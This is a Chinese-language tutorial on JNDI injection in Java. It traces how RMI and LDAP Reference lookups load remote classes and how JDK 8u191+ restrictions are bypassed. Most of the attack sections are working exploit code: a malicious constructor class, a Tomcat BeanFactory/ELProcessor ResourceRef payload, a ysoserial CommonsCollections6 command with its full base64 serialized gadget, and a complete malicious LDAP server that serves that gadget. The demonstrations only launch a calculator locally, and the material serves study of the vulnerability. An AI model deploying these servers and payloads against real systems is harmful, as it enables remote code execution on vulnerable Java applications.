JNDI专题
简介
JNDI是什么
**JNDI(Java Naming and Directory Interface,Java命名和目录接口)**是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
简单来说就是一个索引库,将一个名称对应到一个对象(或者属性)上面,并且可以通过指定名称找到相应对象
作用:可以实现动态加载数据库配置文件,从而保持数据库代码不变动等
结构
JDNI包含在JavaSE平台中。要使用JNDI,必须拥有JNDI类和一个或者多个服务器提供者。JDK包括以下命名/目录服务的提供者:
轻量级目录访问协议(LDAP)
通过对象请求代理架构(CORBA)通过对象服务(COS)名称服务
Java远程方法调用(RMI)注册表
域名服务(DNS)
在JavaJDK中提供了5个包,有以下几个
1 2 3 4 5 6 7 8 9 javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类; javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
JNDI简单利用
实现JDNI,我们首先也要把RMIServer启动起来
1 2 3 4 5 6 7 public class RMIServer { public static void main (String[] args) throws Exception { IRemoteObj remoteObj = new RemoteObjlmpl (); Registry r = LocateRegistry.createRegistry(1099 ); r.bind("remoteObj" ,remoteObj); } }
后续将JNDIRMIServer也启动起来
1 2 3 4 5 6 7 8 public class JNDIRMIServer { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); initialContext.rebind("rmi://127.0.0.1:1099/remoteObj" ,new RemoteObjlmpl ()); } }
最后通过客户端的远程调用
1 2 3 4 5 6 7 public class JNDIRMIClient { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
分析
我们不能像RMI之前那样来调用了,但调用的方式其实差不多
首先要做的是创建一个初始化上下文
然后再去寻找,我们需要把协议地址传入
1 2 3 4 5 6 7 public class JNDIRMIClient { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
我们想,他这里会不会是调用的原生rmi的方法,我们跟进去看一下
最后走到了RegistryContext#lookup
的方法,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext (this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException (var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } }
这里我们可以看到,调用的是RegistryImpl_Stub
的lookup方法
那我们就能知道了,实际这里调用的就是rmi原生的lookup方法
如果说服务端lookup中的参数可控的话,我们就可以用它来查询我们构造的恶意对象
JNDI结合RMI
引用对象
在目录存储对象中支持以下几种对象
java可序列化对象
引用对象
属性对象
远程对象
CORBA对象
平时我们所说的JNDI所指的是引用对象
我们先来看看,引用对象创建的几个参数
第一个是类名,第二个是工厂名,第三个是工厂的位置
1 2 3 4 5 public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; }
实现
来看一下它的实现,创建一个引用对象,将TestRef类和TestRef工厂绑定到http://localhost:7777
下面,再将引用对象 绑定到rmi://localhost:1099/remoteObj
中
1 2 3 4 5 6 7 8 public class JNDIRMIServer { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); Reference refObj = new Reference ("TestRef" ,"TestRef" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" ,refObj); } }
我们这里构造一个恶意类,写入可以弹出计算器的恶意代码
编译好后放在一个文件夹下,开启一个http服务
1 2 3 4 5 public class Test { public Test () throws Exception { Runtime.getRuntime().exec("calc" ); } }
然后用JNDI客户端去调用
1 2 3 4 5 6 7 public class JNDIRMIClient { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
最终成功弹出计算机
小tip
由于调用恶意类的构造函数实在客户端(被攻击端)上执行,所以在编译时候,恶意类的开头不可以带package
,否则会报出NoClassDefFoundError
错误。
流程分析
其中具体的流程我们也来跟一下
刚才我们也说了,实际它是调用rmi原生的lookup方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext (this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException (var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } }
从lookup方法得到对象后,发现是一个ReferenceWrapper_Stub
对象,而我们实际绑定的是Reference
对象
绑定的是Reference
而查看的时候是ReferenceWrapper_Stub
,那问题肯定出在rebind方法上
1 2 3 4 5 public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); Reference refObj = new Reference ("TestRef" ,"TestRef" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" ,refObj); }
走入函数里看一下,在调用RegistryImpl_Stub
的rebind
方法时候,名字还是我们传入的名字,而传入的方法是经过了encodeObject
之后的对象,也就是对对象进行了一层封装
1 2 3 4 5 6 7 8 9 10 11 public void rebind (Name var1, Object var2) throws NamingException { if (var1.isEmpty()) { throw new InvalidNameException ("RegistryContext: Cannot rebind empty name" ); } else { try { this .registry.rebind(var1.get(0 ), this .encodeObject(var2, var1.getPrefix(1 ))); } catch (RemoteException var4) { throw (NamingException)wrapRemoteException(var4).fillInStackTrace(); } } }
我们看一下encodeObject
函数的逻辑
如果该对象是一个Reference
对象的话,那么就封装进ReferenceWrapper
中
1 2 3 4 5 6 7 8 9 10 11 12 private Remote encodeObject (Object var1, Name var2) throws NamingException, RemoteException { var1 = NamingManager.getStateToBind(var1, var2, this , this .environment); if (var1 instanceof Remote) { return (Remote)var1; } else if (var1 instanceof Reference) { return new ReferenceWrapper ((Reference)var1); } else if (var1 instanceof Referenceable) { return new ReferenceWrapper (((Referenceable)var1).getReference()); } else { throw new IllegalArgumentException ("RegistryContext: object to bind must be Remote, Reference, or Referenceable" ); } }
接下来我们看一下客户端lookup
的逻辑
在RegistryContext
的lookup
方法中,我们看到了调用rmi原生lookup
的地方,将找到的对象存入var2中(ReferenceWrapper_Stub
)
在该方法的最后,我们可以看到想对应的decodeObject
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext (this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException (var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } }
这里这个方法就是将接受到的ReferenceWrapper_Stub
对象,变为我们开始创建的Reference
对象
我们快走出RegistryContext
类了,但是还是没有对恶意类进行初始化,也就是说,类加载机制是和容器协议无关 的
return时会走入NamingManager
的getObjectInstance
方法内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
我们看到NamingManager#getObjectInstance
,其中有个getObjectFactoryFromReference
方法是比较重要的,从名字可以看出来,从引用中得到工厂对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ...... if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
从该方法中可以找进行工厂类的类加载 位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } ...... }
进入loadClass方法,首先使用的类加载器是AppClassLoader
,在本地去寻找,但是本地是肯定找不到的,再近一步
1 2 3 4 5 Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true , cl); return cls; }
没找到的话,会从codebase中寻找,找到的话,就会用codebase去进行类加载
1 2 3 4 5 6 7 8 if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } }
这里新建了一个URLClassLoader,将codebase传入
1 2 3 4 5 6 7 8 9 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
在return中的loadClass
中,会去cl中的url路径下找类,然后进行加载
同时这个加载也是进行初始化的加载,若我的恶意代码写在静态代码块的地方,现在计算机已经弹出来了,但是我们的恶意代写在的是构造函数中,必须需要实例化
1 2 3 4 5 Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true , cl); return cls; }
而实例化刚好在getObjectFactoryFromReference
之中,实例化后就执行了恶意的代码
1 2 3 4 5 6 7 8 9 10 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; ...... return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
总结
这里存在两个攻击面:
rmi原生问题(这里就没有演示了)
jndi注入
JNDI结合LDAP
LDAP不是java的东西,而是一个通用协议
在jdk8u121后,修复了RMI和COBAR的攻击点,唯独漏下一个LDAP(8u191),所以我们接下来看一下
实现
1 2 3 4 5 6 7 public class JNDILDAPServer { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); Reference refObj = new Reference ("TestRef" ,"TestRef" ,"http://localhost:7777/" ); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com" , refObj); } }
这里我们使用apache Directory Studio来创建一个LDAP服务
启动起来**(这里搞了好久,最后更换jdk11才成功启动)**
我们这里可以看到,已经成功绑定上去了
然后我们创建一个客户端,使用lookup方法去查找一下(还和之前一样,在TestRef.class的位置开启一个http服务)
1 2 3 4 5 6 public class JNDILDAPClient { public static void main (String[] args) throws Exception { InitialContext ic = new InitialContext (); ic.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com" ); } }
将LDAP客户端运行起来,就成功弹出了计算器
分析
经过一系列的lookup
调用,最终走到了LdapCtx#c_lookup
中,通过调用DirectoryManager.getObjectInstance
,走出协议对应的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected Object c_lookup (Name var1, Continuation var2) throws NamingException { var2.setError(this , var1); ...... try { return DirectoryManager.getObjectInstance(var3, var1, this , this .envprops, (Attributes)var4); } catch (NamingException var16) { throw var2.fillInException(var16); } catch (Exception var17) { NamingException var24 = new NamingException ("problem generating object using object factory" ); var24.setRootCause(var17); throw var2.fillInException(var24); } }
走入DirectoryManager#getObjectInstance
后,我们发现和rmi的的后半段是基本一样的,进入getObjectFactoryFromReference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment, Attributes attrs) throws Exception { ...... if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } else if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } ...... }
这里就和rmi一样了,首先进行本地类加载,若在本地没有找到,则从codebase中查找,若找到则进行类加载,最后进行类的初始化,触发构造函数,弹出计算机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
JDK高版本绕过
JDK8u191之后
本地恶意CLass绕过
在jdk8u191后,LDAP已经修复,在进行codebase远程类加载时候,添加了一个限制条件
如果trustURLCodebase
为true时,才能进行远程类加载
更换高版本后,原来的给攻击既不弹计算器,也不会报错
···
既然他不能远程加载对象了,那我们可以想想,是否有本地工厂,可以利用呢?
该恶意Factory
必须实现javax.naming.spi.ObjectFactory
接口,并实现getObjectInstance()
方法
在tomcat的核心包中,存在着一个BeanFactory
,它的getObjectInstance
方法存在着反射调用的地方,如果说我们这里参数可控,则可以造成代码执行,因此我们这个高版本绕过,是基于tomcat环境 的(方法很长,大部分省略)
1 2 3 4 5 6 7 8 9 10 11 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { ....... try { method.invoke(bean, valueArray); } ...... } ...... }
实现
我在这里起一个RMI环境
1 2 3 4 5 6 7 public class RMIServer { public static void main (String[] args) throws Exception { IRemoteObj remoteObj = new RemoteObjImpl (); Registry r = LocateRegistry.createRegistry(1099 ); r.bind("remoteObj" ,remoteObj); } }
然后起将一个ResourceRef
绑定到remoteObj上面,使用客户端的lookup
方法进行查询,即可执行恶意代码
1 2 3 4 5 6 7 8 9 10 public class JNDIRMIByPass { public static void main (String[] args) throws Exception { InitialContext initialContext= new InitialContext (); ResourceRef ref = new ResourceRef ("javax.el.ElProcessor" ,null ,"" ,"" ,true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" ,"x=eval" )); ref.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj" ,ref); } }
分析
与前面的调用相类似,经过一些lookup
方法的调用,和decodeObject
方法过后,走到NamingManager#getObjectInstance
中,执行getObjectFactoryFromReference
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ...... if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } ...... }
在这个方法中,首先会在本地进行类加载,与之前的不同,这次可以在本地找到BeanFactory
,即可在本地进行加载,最后return时候进行实例化,我们即可获得一个BeanFactory
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
返回后,接下来我们要走到factory.getObjectInstance(ref, name, nameCtx,environment)
中,也就是BeanFactory#getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { ClassNotFoundException e = var25; e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap (); String value; String propName; int i; if (ra != null ) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class []{String.class}; String[] arr$ = value.split("," ); i = arr$.length; for (int i$ = 0 ; i$ < i; ++i$) { String param = arr$[i$]; param = param.trim(); int index = param.indexOf(61 ); if (index >= 0 ) { propName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { propName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException ("Forced String setter " + propName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (true ) { while (true ) { do { do { do { do { do { if (!e.hasMoreElements()) { return bean; } ra = (RefAddr)e.nextElement(); propName = ra.getType(); } while (propName.equals("factory" )); } while (propName.equals("scope" )); } while (propName.equals("auth" )); } while (propName.equals("forceString" )); } while (propName.equals("singleton" )); value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = (Method)forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } } } } } } } else { return null ; } }
ra是从引用里获取forceString
,我们这里传入的值为x=eval
这里会检查,是否存在=
(等于号的ascii为61),不存在就会调用默认属性的setter方法,存在就会取其键值,键为属性名,而值是其指定的setter方法
这里这段代码,把x的setter强行指定为eval
方法,这就是我们的关键利用点,之后就会获取beanClass
即
javax.el.ELProcessor
的eval
方法并同x
属性一同放入forced
这个HashMap
中
接着是多个 do while 语句来遍历获取 ResourceRef
类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用getContent()
方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef
类实例添加的第二个元素
获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor
类的eval()
方法并赋值给method变量,最后就是通过method.invoke()
即反射调用的来执行
LDAP返回序列化数据,触发本地Target
LDAP除了支持JNDI Reference这种利用方法,还支持直接返回一个序列化的对象,若Java对象的javaSerializedData属性不为空,则客户端的obj.decodeObject()
方法就会最这个字段的内容进行反序列化
若服务端的ClassPath中存在反序列化利用点的Gadget,例如CC依赖等等,就可以实现LDAP结合该Garget实现反序列化漏洞攻击
我们这里使用CC6来实现攻击
1 java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
1 rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
恶意LDAP服务器如下(服务端和客户端都要导入CC依赖)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class JNDIGadgetServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } try { e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
